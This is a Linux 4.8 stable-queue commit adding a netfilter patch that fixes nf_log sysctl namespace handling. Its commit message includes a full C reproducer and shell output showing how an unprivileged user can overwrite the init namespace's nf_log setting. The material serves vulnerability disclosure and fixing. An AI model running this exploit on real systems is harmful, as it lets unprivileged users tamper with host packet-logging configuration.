4.8-stable patches

added patches:
	netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch

diff --git a/queue-4.8/netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch b/queue-4.8/netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch
new file mode 100644 (file)
index 0000000..cec9c8d
--- /dev/null
+++ b/queue-4.8/netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch
@@ -0,0 +1,138 @@
+From dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 Mon Sep 17 00:00:00 2001
+From: Jann Horn <jann@thejh.net>
+Date: Sun, 18 Sep 2016 21:40:55 +0200
+Subject: netfilter: fix namespace handling in nf_log_proc_dostring
+
+From: Jann Horn <jann@thejh.net>
+
+commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
+
+nf_log_proc_dostring() used current's network namespace instead of the one
+corresponding to the sysctl file the write was performed on. Because the
+permission check happens at open time and the nf_log files in namespaces
+are accessible for the namespace owner, this can be abused by an
+unprivileged user to effectively write to the init namespace's nf_log
+sysctls.
+
+Stash the "struct net *" in extra2 - data and extra1 are already used.
+
+Repro code:
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <sched.h>
+#include <err.h>
+#include <sys/mount.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>
+
+char child_stack[1000000];
+
+uid_t outer_uid;
+gid_t outer_gid;
+int stolen_fd = -1;
+
+void writefile(char *path, char *buf) {
+        int fd = open(path, O_WRONLY);
+        if (fd == -1)
+                err(1, "unable to open thing");
+        if (write(fd, buf, strlen(buf)) != strlen(buf))
+                err(1, "unable to write thing");
+        close(fd);
+}
+
+int child_fn(void *p_) {
+        if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
+                  NULL))
+                err(1, "mount");
+
+        /* Yes, we need to set the maps for the net sysctls to recognize us
+         * as namespace root.
+         */
+        char buf[1000];
+        sprintf(buf, "0 %d 1\n", (int)outer_uid);
+        writefile("/proc/1/uid_map", buf);
+        writefile("/proc/1/setgroups", "deny");
+        sprintf(buf, "0 %d 1\n", (int)outer_gid);
+        writefile("/proc/1/gid_map", buf);
+
+        stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
+        if (stolen_fd == -1)
+                err(1, "open nf_log");
+        return 0;
+}
+
+int main(void) {
+        outer_uid = getuid();
+        outer_gid = getgid();
+
+        int child = clone(child_fn, child_stack + sizeof(child_stack),
+                          CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
+                          |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
+        if (child == -1)
+                err(1, "clone");
+        int status;
+        if (wait(&status) != child)
+                err(1, "wait");
+        if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
+                errx(1, "child exit status bad");
+
+        char *data = "NONE";
+        if (write(stolen_fd, data, strlen(data)) != strlen(data))
+                err(1, "write");
+        return 0;
+}
+
+Repro:
+
+$ gcc -Wall -o attack attack.c -std=gnu99
+$ cat /proc/sys/net/netfilter/nf_log/2
+nf_log_ipv4
+$ ./attack
+$ cat /proc/sys/net/netfilter/nf_log/2
+NONE
+
+Because this looks like an issue with very low severity, I'm sending it to
+the public list directly.
+
+Signed-off-by: Jann Horn <jann@thejh.net>
+Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ net/netfilter/nf_log.c |    6 ++++--
+ 1 file changed, 4 insertions(+), 2 deletions(-)
+
+--- a/net/netfilter/nf_log.c
++++ b/net/netfilter/nf_log.c
+@@ -420,7 +420,7 @@ static int nf_log_proc_dostring(struct c
+       char buf[NFLOGGER_NAME_LEN];
+       int r = 0;
+       int tindex = (unsigned long)table->extra1;
+-      struct net *net = current->nsproxy->net_ns;
++      struct net *net = table->extra2;
+ 
+       if (write) {
+               struct ctl_table tmp = *table;
+@@ -474,7 +474,6 @@ static int netfilter_log_sysctl_init(str
+                                3, "%d", i);
+                       nf_log_sysctl_table[i].procname =
+                               nf_log_sysctl_fnames[i];
+-                      nf_log_sysctl_table[i].data = NULL;
+                       nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
+                       nf_log_sysctl_table[i].mode = 0644;
+                       nf_log_sysctl_table[i].proc_handler =
+@@ -484,6 +483,9 @@ static int netfilter_log_sysctl_init(str
+               }
+       }
+ 
++      for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
++              table[i].extra2 = net;
++
+       net->nf.nf_log_dir_header = register_net_sysctl(net,
+                                               "net/netfilter/nf_log",
+                                               table);

diff --git a/queue-4.8/series b/queue-4.8/series
index 75c674610eff44f2ec1a5143cc65c09f777e1c82..3ec236ff8f81591f9742f2c713bd04021d0239ab 100644 (file)
--- a/queue-4.8/series
+++ b/queue-4.8/series
@@ -89,3 +89,4 @@ nfsv4.1-work-around-wmaybe-uninitialized-warning.patch
 drm-amdgpu-fix-fence-slab-teardown.patch
 drm-amdgpu-fix-a-vm_flush-fence-leak.patch
 drm-i915-fix-mismatched-init-power-domain-disabling-during-suspend.patch
+netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch